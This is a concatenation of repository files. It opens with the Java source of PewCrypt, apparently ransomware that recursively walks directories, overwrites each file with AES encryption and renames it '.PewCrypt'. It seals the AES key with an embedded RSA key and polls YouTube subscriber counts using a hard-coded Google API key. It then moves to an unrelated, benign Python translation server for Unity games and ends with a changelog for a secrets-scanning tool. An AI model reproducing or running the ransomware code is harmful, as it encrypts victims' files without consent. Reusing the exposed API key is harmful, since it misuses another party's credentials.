1YxUK0XqF7Z7JRyL4bFztwIhMSu/R8Lx2FWykoRng2GgmhzR7TzlQer2DQKBgA7PoRM3rJMVAe/2X0D/GVG+YGzU7G/5gYnk/+Tu+zCHYAfiyXEBfjQ5xOisfvq+nY+tCDM7Y0641K/KX3mf4vuVJRFsJBmMRqF+XXCePJMUdVF8CuWULVt9Tu8HdmQh9JtNxF1iEeBoXGmNIpactbTXM1fk8D0I/4H38Ts1xbC7AoGAbXkhsr27MIll3SzUbc3dPbdwELFYtNXtE+Nr0hCAM0PabYMTVdk2jkfPnGZgkii5ffm4imhQbJOEl8/JNeemcmeAX1/UI8RcCuCJ2YvxrDtOuEDXWx+uWeZzv3NsFRDJ5K6JzHkaOU+V5pd7PgZfWlxVRzSA4TZWJn2XnddsOM0CgYEA2lv2ITPwzf+h9/WZdz0Cfi9ir/yAcOf81tqLY1Qfub6scU1tALA/fjQijuRgqBHkH2OXoxrYl4BREW4wUObBi6Hro2JlAhR1TmO3clRRsZ8DneKBAWnX044mtKzm3kMKSy5tZYqNNBYPejh/px3ka+MjCLMk4B0A9SWg8HObrAg=";
private PrivateKey RSAKey;
private Key AESKey;
private Cipher cipher;
public Decrypter(String AESKeyFile) {
try {
this.RSAKey = this.generateRSAKey(Base64.getDecoder().decode(DEFAULT_RSA_KEY));
this.AESKey = decryptAESKey(Files.readAllBytes(new File(AESKeyFile).toPath()), this.RSAKey);
this.cipher = Cipher.getInstance("AES");
this.cipher.init(Cipher.DECRYPT_MODE, this.AESKey);
} catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException | IllegalBlockSizeException
| BadPaddingException | IOException | InvalidKeySpecException e) {
e.printStackTrace();
System.exit(-1);
}
}
private static Key decryptAESKey(byte[] AESKey, Key RSAKey) throws InvalidKeyException, NoSuchAlgorithmException,
NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException {
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.DECRYPT_MODE, RSAKey);
return (Key) new SecretKeySpec(cipher.doFinal(AESKey), "AES");
}
private PrivateKey generateRSAKey(byte[] rawKey) throws NoSuchAlgorithmException, InvalidKeySpecException {
KeyFactory kf = KeyFactory.getInstance("RSA");
return kf.generatePrivate(new PKCS8EncodedKeySpec(rawKey));
}
public boolean ProcessFile(String path) {
try {
// get handles
File file = new File(path);
// file checks
if (!file.exists()) {
System.out.println("File not found: " + path);
return false;
} else if (!file.canRead() | !file.canWrite() | (file.length() > 20000000)) {
System.out.println("File conditions not satifified");
return false;
}
// file content buffer
byte[] fileContent = Files.readAllBytes(file.toPath());
// encrypted data buffer
byte[] outputBytes = this.cipher.doFinal(fileContent);
// write encrypted data back to file
Files.write(file.toPath(), outputBytes);
String outPath = path.replace(".PewCrypt", "");
file.renameTo(new File(outPath));
System.out.println("Decryption Complete, Out: " + outPath);
return true;
} catch (IOException | BadPaddingException | IllegalBlockSizeException e) {
e.printStackTrace();
return false;
}
}
}
|
000JustMe/PewCrypt
| 1,533 |
Encryptor/src/main/Scraper.java
|
package main;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
public class Scraper {
public Scraper() {
}
public int getPewdiepieCount() {
try {
return this.parseJson(this.getJson("https://www.googleapis.com/youtube/v3/channels?part=statistics&id=UC-lHJZR3Gqxm24_Vd_AJ5Yw&fields=items/statistics/subscriberCount&key=AIzaSyACZdXbrIijp3kLgAGNIdSCe7uxxIvo9wY"));
} catch (Exception e) {
e.printStackTrace();
return 0;
}
}
public int getTSeriesCount() {
try {
return this.parseJson(this.getJson("https://www.googleapis.com/youtube/v3/channels?part=statistics&id=UCq-Fj5jknLsUf-MWSy4_brA&fields=items/statistics/subscriberCount&key=AIzaSyACZdXbrIijp3kLgAGNIdSCe7uxxIvo9wY"));
} catch (Exception e) {
e.printStackTrace();
return 0;
}
}
public int parseJson(String json) {
// crude but light weight way of parsing target values
String tail = json.split(":")[3];
return Integer.parseInt(tail.split("\"")[1]);
}
public String getJson(String targetUrl) throws Exception {
URL target = new URL(targetUrl);
URLConnection targetc = target.openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(
targetc.getInputStream()));
String inputLine;
String res = "";
while ((inputLine = in.readLine()) != null) {
res += inputLine;
}
in.close();
return res;
}
}
|
000JustMe/PewCrypt
| 1,300 |
Encryptor/src/main/FileItter.java
|
package main;
import java.io.File;
import java.util.ArrayList;
public class FileItter {
/*
* Class constructor will iterate though target paths Function itterFiles
* recursively walks directory finding files Function getPaths to access paths
* found and encrypt-able
*/
private ArrayList<String> paths;
private ArrayList<File> directory_paths;
public FileItter(String[] paths) {
this.paths = new ArrayList<String>();
this.directory_paths = new ArrayList<File>();
for (String path : paths) {
System.out.println(path);
File file = new File(path);
if (file.isDirectory()) {
// directory needs walking
directory_paths.add(file);
} else {
// must be a file
this.paths.add(path);
}
}
this.itterFiles(this.directory_paths.toArray(new File[this.directory_paths.size()]));
}
private void itterFiles(File[] files) {
try {
for (File file : files) {
//System.out.println(file.getPath());
if (file.isDirectory()) {
itterFiles(file.listFiles()); // recursion
} else {
//if a file
this.paths.add(file.getPath());
}
}
} catch (NullPointerException e) {
// when a folder is empty
System.out.println(e);
}
}
public ArrayList<String> getPaths() {
return this.paths;
}
}
|
000JustMe/PewCrypt
| 5,370 |
Encryptor/src/main/Crypto.java
|
package main;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyFactory;
import java.security.NoSuchAlgorithmException;
import java.security.PublicKey;
import java.security.SecureRandom;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.X509EncodedKeySpec;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
public class Crypto {
private final SecureRandom rnd = new SecureRandom();
private final byte[] RSA_key = new byte[] { 48, (byte) 130, 1, 34, 48, 13, 6, 9, 42, (byte) 134, 72, (byte) 134,
(byte) 247, 13, 1, 1, 1, 5, 0, 3, (byte) 130, 1, 15, 0, 48, (byte) 130, 1, 10, 2, (byte) 130, 1, 1, 0,
(byte) 211, (byte) 132, 73, 127, 125, 43, (byte) 148, (byte) 128, (byte) 128, 6, 36, 39, (byte) 220, 47, 57,
(byte) 161, (byte) 147, (byte) 143, (byte) 202, (byte) 155, 24, 74, (byte) 168, 16, (byte) 164, 86,
(byte) 160, 4, 9, 21, (byte) 162, (byte) 139, (byte) 144, (byte) 223, 24, 50, 54, 74, 73, 41, (byte) 237,
58, (byte) 214, 50, 88, (byte) 193, 83, 7, 120, 118, 114, (byte) 163, 6, 89, 94, (byte) 209, 65, 90, 56, 16,
38, (byte) 171, 81, (byte) 153, 45, (byte) 153, (byte) 175, 125, (byte) 161, 16, 126, 25, (byte) 181,
(byte) 171, 35, 13, (byte) 144, (byte) 249, 24, (byte) 249, 62, (byte) 145, (byte) 185, (byte) 169,
(byte) 217, (byte) 229, (byte) 142, 116, (byte) 244, (byte) 141, (byte) 148, (byte) 179, 26, 114,
(byte) 253, (byte) 146, (byte) 162, (byte) 194, (byte) 165, (byte) 250, 82, (byte) 206, 102, 9, 35, 47, 62,
17, (byte) 200, 127, (byte) 183, 77, (byte) 147, 90, 78, (byte) 182, (byte) 244, (byte) 186, (byte) 212, 59,
54, (byte) 217, (byte) 250, (byte) 217, (byte) 253, (byte) 235, 31, (byte) 235, (byte) 248, (byte) 226, 44,
(byte) 218, 53, 50, 25, 67, 5, 33, 38, 71, 43, 107, (byte) 234, 26, 104, 90, 2, 4, (byte) 144, 72, 53,
(byte) 217, (byte) 238, 48, (byte) 154, 25, 77, 86, 90, (byte) 238, 69, (byte) 156, (byte) 157, (byte) 174,
(byte) 245, 66, 107, (byte) 183, 91, 72, 55, (byte) 196, (byte) 163, 125, 121, (byte) 192, (byte) 182,
(byte) 205, (byte) 158, 36, (byte) 201, 76, 31, (byte) 218, 82, 39, (byte) 193, (byte) 159, 66, 108, 78, 14,
122, (byte) 137, (byte) 233, (byte) 191, 110, (byte) 198, 123, (byte) 162, (byte) 219, (byte) 154, 11,
(byte) 223, 88, 119, (byte) 208, 37, (byte) 157, (byte) 187, 60, 79, 64, (byte) 184, (byte) 234, 52, 104,
56, (byte) 158, (byte) 230, 70, 25, (byte) 254, 84, 14, 73, (byte) 182, (byte) 141, 78, (byte) 249, 11,
(byte) 187, 51, (byte) 139, 76, 42, (byte) 157, (byte) 213, 95, 88, 85, 42, 8, 14, (byte) 135, (byte) 147,
(byte) 248, (byte) 189, 50, 117, (byte) 153, 23, 0, 38, (byte) 158, 63, 2, 3, 1, 0, 1 };
private final byte[] PASS = new byte[32];
private Cipher cipher;
private int cipherMode;
private String[] IgnoredExtentions = new String[] { ".PewCrypt", ".exe", ".jar", ".dll" };
public Crypto(boolean toEncrypt) {
// determine mode
if (toEncrypt) {
this.cipherMode = Cipher.ENCRYPT_MODE;
} else {
this.cipherMode = Cipher.DECRYPT_MODE;
}
try {
// generate random AES pass
this.rnd.nextBytes(PASS);
Key AES_key = new SecretKeySpec(PASS, "AES");
this.cipher = Cipher.getInstance("AES");
this.cipher.init(this.cipherMode, AES_key);
} catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException e) {
System.out.println(e);
}
}
public boolean encrypt_AES_key() {
// get KeySpec
X509EncodedKeySpec ks = new X509EncodedKeySpec(this.RSA_key);
try {
KeyFactory kf = KeyFactory.getInstance("RSA");
// Get public key from KeySpec
PublicKey pub = kf.generatePublic(ks);
// create new AES.key file
File kfile = new File("AES.key");
kfile.createNewFile();
// encrypt AES key with public
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, pub);
// encrypted data buffer
byte[] out = cipher.doFinal(this.PASS);
// write encrypted data to AES.key file
Files.write(kfile.toPath(), out);
} catch (InvalidKeySpecException | IOException | NoSuchPaddingException | InvalidKeyException
| IllegalBlockSizeException | BadPaddingException | NoSuchAlgorithmException e) {
e.printStackTrace();
return false;
}
return true;
}
public boolean ProcessFile(String path) {
try {
// get handles
File file = new File(path);
// checks if file extension is ignored
for (String exten : this.IgnoredExtentions) {
if (file.getName().contains(exten)) {
return false;
}
}
// file checks
if (!file.exists() | !file.canRead() | !file.canWrite() | (file.length() > 20000000)) {
return false;
}
// file content buffer
byte[] fileContent = Files.readAllBytes(file.toPath());
// encrypted data buffer
byte[] outputBytes = this.cipher.doFinal(fileContent);
// write encrypted data back to file
Files.write(file.toPath(), outputBytes);
file.renameTo(new File(path + ".PewCrypt"));
return true;
} catch (IOException | BadPaddingException | IllegalBlockSizeException e) {
System.out.println(e);
return false;
}
}
}
|
0001lizhubo/XUnity.AutoTranslator-deepseek
| 1,147 |
README.md
|
# XUnity.AutoTranslator-deepseek
本项目通过调用腾讯的DeepSeek V3 API，实现Unity游戏中日文文本的自动翻译。
## 准备工作
### 1. 获取API密钥
- 访问[腾讯云API控制台](https://console.cloud.tencent.com/lkeap/api)申请DeepSeek的API密钥（限时免费）。
- 也可以使用其他平台提供的DeepSeek API。
### 2. 安装依赖
确保已安装以下软件和库：
- **XUnity.AutoTranslator**
- **Python 3.x**
安装必要的Python库：
```bash
pip install Flask gevent openai
```
### 3. 配置API
克隆本项目后，修改deepseekv3.py中的`api_key`配置部分：
```python
client = OpenAI(
api_key="sk-XXXXXXXXXXXXXXXXXXXXXX", # 替换为您的API密钥
base_url=Base_url, # API请求基础URL
)
```
### 4. 自定义API配置
如果使用其他云厂商的API和模型，请修改以下配置：
```python
# API配置参数
Base_url = "https://api.lkeap.cloud.tencent.com/v1" # OpenAI API请求地址
Model_Type = "deepseek-v3" # 使用的模型类型
```
## 启动项目
### 1. 启动Python脚本
确保Python脚本成功启动，命令行应显示：
```
服务器在 http://127.0.0.1:4000 上启动
```
### 2. 配置XUnity.AutoTranslator
修改XUnity.AutoTranslator插件的配置文件`AutoTranslatorConfig.ini`或`Config.ini`：
```ini
[Service]
Endpoint=CustomTranslate
[Custom]
Url=http://127.0.0.1:4000/translate
```
## 参考项目
- [XUnity.AutoTranslator-Sakura](https://github.com/as176590811/XUnity.AutoTranslator-Sakura)
---
通过以上步骤，您可以轻松实现Unity游戏中日文文本的自动翻译。如有问题，请参考相关文档或联系开发者。
|
0001lizhubo/XUnity.AutoTranslator-deepseek
| 14,868 |
deepseekv3.py
|
import os
import re
import json
import time
from flask import Flask, request # 导入 Flask 库，用于创建 Web 应用，需要安装：pip install Flask
from gevent.pywsgi import WSGIServer # 导入 gevent 的 WSGIServer，用于提供高性能的异步服务器，需要安装：pip install gevent
from urllib.parse import unquote # 导入 unquote 函数，用于 URL 解码
from threading import Thread # 导入 Thread，用于创建线程 (虽然实际上未使用，但import没有坏处)
from queue import Queue # 导入 Queue，用于创建线程安全的队列
import concurrent.futures # 导入 concurrent.futures，用于线程池
from openai import OpenAI # 导入 OpenAI 库，用于调用 OpenAI API，需要安装：pip install openai 并更新：pip install --upgrade openai
# 启用虚拟终端序列，支持 ANSI 转义代码，允许在终端显示彩色文本
os.system('')
dict_path='用户替换字典.json' # 替换字典路径。如果不需要使用替换字典，请将此变量留空（设为 None 或空字符串 ""）
# API 配置参数
Base_url = "https://api.lkeap.cloud.tencent.com/v1" # OpenAI API 请求地址，这里使用了腾讯云的 API 代理服务
Model_Type = "deepseek-v3" # 使用的模型类型，可选项包括"deepseek-v3" 或者其他模型
# 检查请求地址尾部是否已包含 "/v1"，若没有则自动补全，确保 API 请求路径正确
if Base_url[-3:] != "/v1":
Base_url = Base_url + "/v1"
# 创建 OpenAI 客户端实例
client = OpenAI(
api_key="sk-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", # API 密钥，请替换为您自己的 API Key。如何获取 API Key 的指南：https://cloud.tencent.com/document/product/1772/115970
base_url=Base_url, # API 请求基础 URL，设置为上面配置的 Base_url
)
# 译文重复内容检测参数
repeat_count=5 # 重复内容阈值。如果译文中有任意单字或单词连续重复出现次数大于等于 repeat_count，则认为译文质量不佳，会触发重试翻译逻辑
# 提示词 (Prompt) 配置
prompt= '''
你是资深本地化专家，负责将游戏日文文本译为简体中文。接收文本后，按以下要求翻译：
翻译范围：翻译普通日文文本，保留原文叙述风格。
保留格式：保留转义字符、格式标签、换行符等非日文文本内容。
翻译原则：忠实准确，确保语义无误；对露骨性描写，可直白粗俗表述，不删减篡改；对双关语等特殊表达，找目标语言等效表达，保原作意图风格。
文本类型：游戏文本含角色对话、旁白、武器及物品名称、技能描述、格式标签、换行符、特殊符号等。
以下是待翻译的游戏文本：
''' # 基础提示词，用于指导模型进行翻译，定义了翻译的角色、范围、格式、原则和文本类型
prompt_list=[prompt] # 提示词列表。可以配置多个提示词，程序会依次尝试使用列表中的提示词进行翻译，直到获得满意的结果
l=len(prompt_list) # 获取提示词列表的长度 (此变量目前未被直接使用，可能是为后续扩展功能预留)
# 提示字典相关的提示词配置
dprompt0='\n在翻译中使用以下字典,字典的格式为{\'原文\':\'译文\'}\n' # 提示模型在翻译时使用提供的字典。字典格式为 JSON 格式的字符串，键为原文，值为译文
dprompt1='\nDuring the translation, use a dictionary in {\'Japanese text \':\'translated text \'} format\n' # 英文版的字典提示词，可能用于多语言支持或模型偏好
# dprompt_list 字典提示词列表，与 prompt_list 提示词列表一一对应。当使用 prompt_list 中的第 i 个提示词时，会同时使用 dprompt_list 中的第 i 个字典提示词
dprompt_list=[dprompt0,dprompt1,dprompt1]
app = Flask(__name__) # 创建 Flask 应用实例
# 读取提示字典
prompt_dict= {} # 初始化提示字典为空字典
if dict_path: # 检查是否配置了字典路径
try:
with open(dict_path, 'r', encoding='utf8') as f: # 尝试打开字典文件
tempdict = json.load(f) # 加载 JSON 字典数据
# 按照字典 key 的长度从长到短排序，确保优先匹配长 key，避免短 key 干扰长 key 的匹配
sortedkey = sorted(tempdict.keys(), key=lambda x: len(x), reverse=True)
for i in sortedkey:
prompt_dict[i] = tempdict[i] # 将排序后的字典数据存入 prompt_dict
except FileNotFoundError:
print(f"\033[33m警告：字典文件 {dict_path} 未找到。\033[0m") # 警告用户字典文件未找到
except json.JSONDecodeError:
print(f"\033[31m错误：字典文件 {dict_path} JSON 格式错误，请检查字典文件。\033[0m") # 错误提示 JSON 格式错误
except Exception as e:
print(f"\033[31m读取字典文件时发生未知错误: {e}\033[0m") # 捕获其他可能的文件读取或 JSON 解析错误
def contains_japanese(text):
"""
检测文本中是否包含日文字符。
Args:
text (str): 待检测的文本。
Returns:
bool: 如果文本包含日文字符，则返回 True；否则返回 False。
"""
pattern = re.compile(r'[\u3040-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FE]') # 日文字符的 Unicode 范围正则表达式
return pattern.search(text) is not None # 使用正则表达式搜索文本中是否包含日文字符
def has_repeated_sequence(string, count):
"""
检测字符串中是否存在连续重复的字符或子串。
Args:
string (str): 待检测的字符串。
count (int): 重复次数阈值。
Returns:
bool: 如果字符串中存在重复次数达到或超过阈值的字符或子串，则返回 True；否则返回 False。
"""
# 首先检查单个字符的重复
for char in set(string): # 遍历字符串中的不重复字符集合
if string.count(char) >= count: # 统计每个字符在字符串中出现的次数，如果超过阈值，则返回 True
return True
# 然后检查字符串片段（子串）的重复
for size in range(2, len(string)//count + 1): # 子串长度从 2 开始到 len(string)//count，因为更长的重复子串不太可能出现
for start in range(0, len(string) - size + 1): # 滑动窗口的起始位置
substring = string[start:start + size] # 提取当前窗口的子串
matches = re.findall(re.escape(substring), string) # 使用正则表达式查找整个字符串中该子串的重复次数，re.escape 用于转义特殊字符
if len(matches) >= count: # 如果子串重复次数达到阈值，则返回 True
return True
return False # 如果以上所有检查都没有发现重复内容，则返回 False
# 获得文本中包含的字典词汇
def get_dict(text):
"""
从文本中提取出在提示字典 (prompt_dict) 中存在的词汇及其翻译。
Args:
text (str): 待处理的文本。
Returns:
dict: 一个字典，key 为在文本中找到的字典原文，value 为对应的译文。
如果文本中没有找到任何字典词汇，则返回空字典。
"""
res={} # 初始化结果字典
for key in prompt_dict.keys(): # 遍历提示字典中的所有原文 (key)
if key in text: # 检查当前原文 (key) 是否出现在待处理文本中
res.update({key:prompt_dict[key]}) # 如果找到，则将该原文及其译文添加到结果字典中
text=text.replace(key,'') # 从文本中移除已匹配到的字典原文，避免出现长字典包含短字典导致重复匹配的情况。
# 例如，字典中有 "技能" 和 "技能描述" 两个词条，如果先匹配到 "技能描述"，
# 则将文本中的 "技能描述" 替换为空，后续就不会再匹配到 "技能" 了。
if text=='': # 如果文本在替换过程中被清空，说明所有文本内容都已被字典词汇覆盖，提前结束循环
break
return res # 返回提取到的字典词汇和译文
request_queue = Queue() # 创建请求队列，用于异步处理翻译请求。使用队列可以避免请求处理阻塞主线程，提高服务器响应速度
def handle_translation(text, translation_queue):
"""
处理翻译请求的核心函数。
Args:
text (str): 待翻译的文本。
translation_queue (Queue): 用于存放翻译结果的队列。
"""
text = unquote(text) # 对接收到的文本进行 URL 解码，还原原始文本内容
max_retries = 3 # 最大 API 请求重试次数
retries = 0 # 初始化重试次数计数器
MAX_THREADS = 30 # 最大线程数限制，用于限制并发 API 请求数量，防止对 API 造成过大压力或超出并发限制
queue_length = request_queue.qsize() # 获取当前请求队列的长度，可以根据队列长度动态调整线程数
number_of_threads = max(1, min(queue_length // 4, MAX_THREADS)) # 动态计算线程数：
# 至少使用 1 个线程，最多不超过 MAX_THREADS，
# 线程数随队列长度增加而增加，但增幅受限 (除以 4)。
# 这样可以在请求量大时增加并发，请求量小时减少资源占用。
special_chars = ['，', '。', '？','...'] # 定义句末特殊字符列表，用于句末标点符号的对齐和修正
text_end_special_char = None # 初始化文本末尾特殊字符变量
if text[-1] in special_chars: # 检查待翻译文本末尾是否包含特殊字符
text_end_special_char = text[-1] # 如果包含，则记录该特殊字符
special_char_start = "「" # 定义特殊字符起始标记
special_char_end = "」" # 定义特殊字符结束标记
has_special_start = text.startswith(special_char_start) # 检查文本是否以特殊字符起始标记开头
has_special_end = text.endswith(special_char_end) # 检查文本是否以特殊字符结束标记结尾
if has_special_start and has_special_end: # 如果文本同时包含起始和结束特殊字符标记，则在翻译前移除它们，
# 翻译后再将特殊字符加回，以避免特殊字符影响翻译质量或被模型错误翻译
text = text[len(special_char_start):-len(special_char_end)]
# OpenAI 模型参数配置
model_params = {
"temperature": 0.1, # 降低 temperature，使模型输出更稳定，减少随机性
"frequency_penalty": 0.1, # 对频繁出现的 token 施加惩罚， हल्का降低重复内容生成的可能性
"max_tokens": 512, # 限制模型生成token的最大数量，避免模型生成过长文本，浪费token或超出处理限制
"top_p": 0.3, # 限制候选token的范围，仅考虑累积概率最高的 top_p 部分 token，进一步约束模型输出，提高生成质量
}
try: # 使用 try...except 块捕获可能发生的异常，例如 API 请求超时或错误
dict_inuse=get_dict(text) # 从待翻译文本中获取字典词汇
for i in range(len(prompt_list)): # 遍历提示词列表，尝试使用不同的提示词进行翻译
prompt = prompt_list[i] # 获取当前循环的提示词
dict_inuse = get_dict(text) # 再次获取字典词汇 (虽然此处重复获取，但逻辑上为了保证每次循环都重新获取一次字典是更严谨的)
if dict_inuse: # 如果获取到字典词汇，则将字典提示词和字典内容添加到当前提示词中，引导模型使用字典进行翻译
prompt += dprompt_list[i] + str(dict_inuse)
messages_test = [ # 构建 OpenAI API 请求的消息体
{"role": "system", "content": prompt}, # system 角色消息，包含提示词，用于设定模型角色和翻译目标
{"role": "user", "content": text} # user 角色消息，包含待翻译的文本内容
]
with concurrent.futures.ThreadPoolExecutor(max_workers=number_of_threads) as executor: # 创建线程池，并发执行 API 请求
future_to_trans = {executor.submit(client.chat.completions.create, model=Model_Type, messages=messages_test, **model_params) for _ in range(number_of_threads)} # 提交多个 API 请求任务到线程池
# 这里提交的任务数量等于 number_of_threads，实现并发请求
for future in concurrent.futures.as_completed(future_to_trans): # 遍历已完成的 future
try: # 再次使用 try...except 捕获单个 API 请求可能发生的异常
response_test = future.result() # 获取 future 的结果，即 API 响应
translations = response_test.choices[0].message.content # 从 API 响应中提取翻译结果文本
print(f'{prompt}\n{translations}') # 打印提示词和翻译结果 (调试或日志记录用)
if translations.startswith('\n') and not text.startswith('\n'): #当原文未有换行符，结果出现换行符
translations = translations.lstrip('\n') #清除结果中开头的换行符
if has_special_start and has_special_end: # 如果原始文本包含特殊字符标记，则将翻译结果用特殊字符标记包裹起来，保持格式一致
if not translations.startswith(special_char_start): # 检查翻译结果是否已以起始标记开头，若没有则添加
translations = special_char_start + translations
if not translations.endswith(special_char_end): # 检查翻译结果是否已以结束标记结尾，若没有则添加
translations = translations + special_char_end
elif has_special_start and not translations.startswith(special_char_start): # 再次检查并添加起始标记，以应对更复杂的情况
translations = special_char_start + translations
elif has_special_end and not translations.endswith(special_char_end): # 再次检查并添加结束标记，以应对更复杂的情况
translations = translations + special_char_end
translation_end_special_char = None # 初始化翻译结果末尾特殊字符变量
if translations[-1] in special_chars: # 检查翻译结果末尾是否包含特殊字符
translation_end_special_char = translations[-1] # 如果包含，则记录该特殊字符
if text_end_special_char and translation_end_special_char: # 如果原始文本和翻译结果末尾都有特殊字符
if text_end_special_char != translation_end_special_char: # 且两个特殊字符不一致，则修正翻译结果的末尾特殊字符，使其与原始文本一致，保持标点符号对齐
translations = translations[:-1] + text_end_special_char
elif text_end_special_char and not translation_end_special_char: # 如果原始文本末尾有特殊字符，而翻译结果没有，则将原始文本的末尾特殊字符添加到翻译结果末尾，保持标点符号完整
translations += text_end_special_char
elif not text_end_special_char and translation_end_special_char: # 如果原始文本末尾没有特殊字符，而翻译结果有，则移除翻译结果末尾的特殊字符，保持标点符号简洁
translations = translations[:-1]
contains_japanese_characters = contains_japanese(translations) # 检测翻译结果中是否包含日文字符
repeat_check = has_repeated_sequence(translations, repeat_count) # 检测翻译结果中是否存在重复内容
except Exception as e: # 捕获 API 请求异常
retries += 1 # 增加重试次数
print(f"API请求超时，正在进行第 {retries} 次重试... {e}") # 打印重试信息
if retries == max_retries: # 如果达到最大重试次数
raise e # 抛出异常，终止翻译
time.sleep(1) # 等待 1 秒后重试
if not contains_japanese_characters and not repeat_check: # 如果翻译结果不包含日文字符且没有重复内容，则认为翻译质量可以接受，跳出提示词循环
break
elif contains_japanese_characters: # 如果翻译结果包含日文字符，则说明当前提示词不适用
print("\033[31m检测到译文中包含日文字符，尝试使用下一个提示词进行翻译。\033[0m") # 打印警告信息，提示将尝试下一个提示词
continue # 继续下一次循环，尝试使用下一个提示词
elif repeat_check: # 如果翻译结果存在重复内容，则说明翻译质量不佳，需要调整模型参数或提示词
print("\033[31m检测到译文中存在重复短语，调整参数。\033[0m") # 打印警告信息，提示将调整模型参数
model_params['frequency_penalty'] += 0.1 # 增加 frequency_penalty 参数值，降低模型生成重复内容的倾向
break # 跳出当前提示词的尝试，使用调整后的参数重新尝试翻译 (注意这里只是 break 了内层的 for 循环，外层的 for 循环会继续尝试下一个提示词，逻辑可能需要根据实际需求调整)
if not contains_japanese_characters and not repeat_check: # 再次检查，如果翻译结果最终符合要求 (不包含日文字符且没有重复内容)，则跳出所有循环，完成翻译
break
# 打印最终翻译结果 (高亮显示)
print(f"\033[36m[译文]\033[0m:\033[31m {translations}\033[0m")
print("-------------------------------------------------------------------------------------------------------") # 分隔线，用于分隔不同文本的翻译结果
translation_queue.put(translations) # 将翻译结果放入翻译结果队列，供 Flask 路由函数获取
except Exception as e: # 捕获更外层的异常，例如 API 连接错误等
print(f"API请求失败：{e}") # 打印 API 请求失败的错误信息
translation_queue.put(False) # 将 False 放入翻译结果队列，表示翻译失败
# 定义 Flask 路由，处理 "/translate" GET 请求
@app.route('/translate', methods=['GET'])
def translate():
"""
Flask 路由函数，处理 "/translate" GET 请求。
接收 GET 请求参数中的 "text" 字段，调用翻译处理函数进行翻译，并返回翻译结果。
如果翻译超时或失败，则返回相应的错误信息和状态码。
Returns:
Response: Flask Response 对象，包含翻译结果或错误信息。
"""
text = request.args.get('text') # 从 GET 请求的查询参数中获取待翻译的文本，参数名为 "text"
print(f"\033[36m[原文]\033[0m \033[35m{text}\033[0m") # 打印接收到的原文 (高亮显示)
# 由于提示词中已经提供对换行符的处理，所以这里不需要再对换行符进行特殊处理，所以将下面的代码注释掉，如果修改了提示词，请取消注释
# if '\n' in text: # 检查原文中是否包含换行符 "\n"
# text=text.replace('\n','\\n') # 如果包含，则将换行符替换为 "\\n"，避免换行符在后续处理中引起问题 (例如，在某些日志或显示场景下)
translation_queue = Queue() # 创建一个新的翻译结果队列，用于当前请求的翻译结果传递
request_queue.put_nowait(text) # 将待翻译文本放入请求队列，使用 put_nowait 非阻塞地放入队列
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: # 创建一个线程池，用于执行翻译任务 (这里线程池的最大线程数设置为 10，可能需要根据实际情况调整)
future = executor.submit(handle_translation, text, translation_queue) # 提交翻译任务 (handle_translation 函数) 到线程池，并获取 Future 对象，用于跟踪任务状态和结果
try: # 使用 try...except 块捕获任务执行超时异常
future.result(timeout=30) # 等待任务完成，设置超时时间为 30 秒。如果在 30 秒内任务没有完成，则抛出 TimeoutError 异常
except concurrent.futures.TimeoutError: # 捕获超时异常
print("翻译请求超时，重新翻译...") # 打印超时信息
return "[请求超时] " + text, 500 # 返回 HTTP 500 错误状态码和错误信息，包含原始文本，方便用户识别超时的请求
translation = translation_queue.get() # 从翻译结果队列中获取翻译结果，这里会阻塞等待，直到队列中有结果可取
request_queue.get_nowait() # 从请求队列中移除已处理完成的请求 (这里可能需要根据实际队列使用逻辑来调整，如果 request_queue 仅用于统计队列长度，则此处的 get_nowait 可能不是必需的)
if isinstance(translation, str): # 检查翻译结果是否为字符串类型，判断翻译是否成功
translation = translation.replace('\\n', '\n') # 如果翻译成功，将之前替换的 "\\n" 还原为 "\n"，恢复原始换行符格式
return translation # 返回翻译结果字符串
else: # 如果翻译结果不是字符串类型 (例如，返回了 False)，则表示翻译失败
return translation, 500 # 返回翻译失败的状态码 500 和具体的错误信息 (如果 translation 中包含了错误信息)
def main():
"""
主函数，启动 Flask 应用和 gevent 服务器。
"""
print("\033[31m服务器在 http://127.0.0.1:4000 上启动\033[0m") # 打印服务器启动信息，提示用户访问地址
http_server = WSGIServer(('127.0.0.1', 4000), app, log=None, error_log=None) # 创建 gevent WSGIServer 实例，监听 127.0.0.1:4000 端口，使用 Flask app 处理请求，禁用访问日志和错误日志 (log=None, error_log=None)
http_server.serve_forever() # 启动 gevent 服务器，无限循环运行，等待和处理客户端请求
if __name__ == '__main__':
main() # 当脚本作为主程序运行时，调用 main 函数启动服务器
|
000pp/Pinkerton
| 3,190 |
CHANGELOG.md
|
# 1.7 - 10/05/2025
- Removed "banner.txt" file
- Removed ASCII art from banner
- Changed color and print scheme
- Changed "rich.print" to "rich.console.print"
- Improved the code
- Add -H option, now you can specify custom headers, for example:
```
python3 main.py -u https://webhook.site/793d267f-c86a-48e6-94e6-9513d0f8917a -H "First-Header" "First-Header-Value" -H "Second-Header" "Second-Header-Value"
GET https://webhook.site/793d267f-c86a-48e6-94e6-9513d0f8917a
second-header Second-Header-Value
first-header First-Header-Value
```
- Removed Heroku API Key regex because of false positives
<br>
# 1.6c - 20/07/2023
- Major changes
- Removed "assets" folder (moved banner img to imgur)
<br>
# 1.6b - 06/08/2022
- Added 2 new secrets regex patterns:
- Asana Client ID
- Asana Client Secret
- IPv4 regex pattern removed because of false positives
<br>
# 1.6a - 04/08/2022
- Added 4 new secrets regex patterns:
- Shopify Access Token
- Shopify Custom Access Token
- Shopify Private App Access Token
- Shopify Shared Secret
- Changed regex and jsbeautify import libs
<br>
# 1.6 - 31/07/2022
- Added 11 new secrets regex patterns:
- URL Schemes
- Adobe Client Secret
- Alibaba AccessKey ID
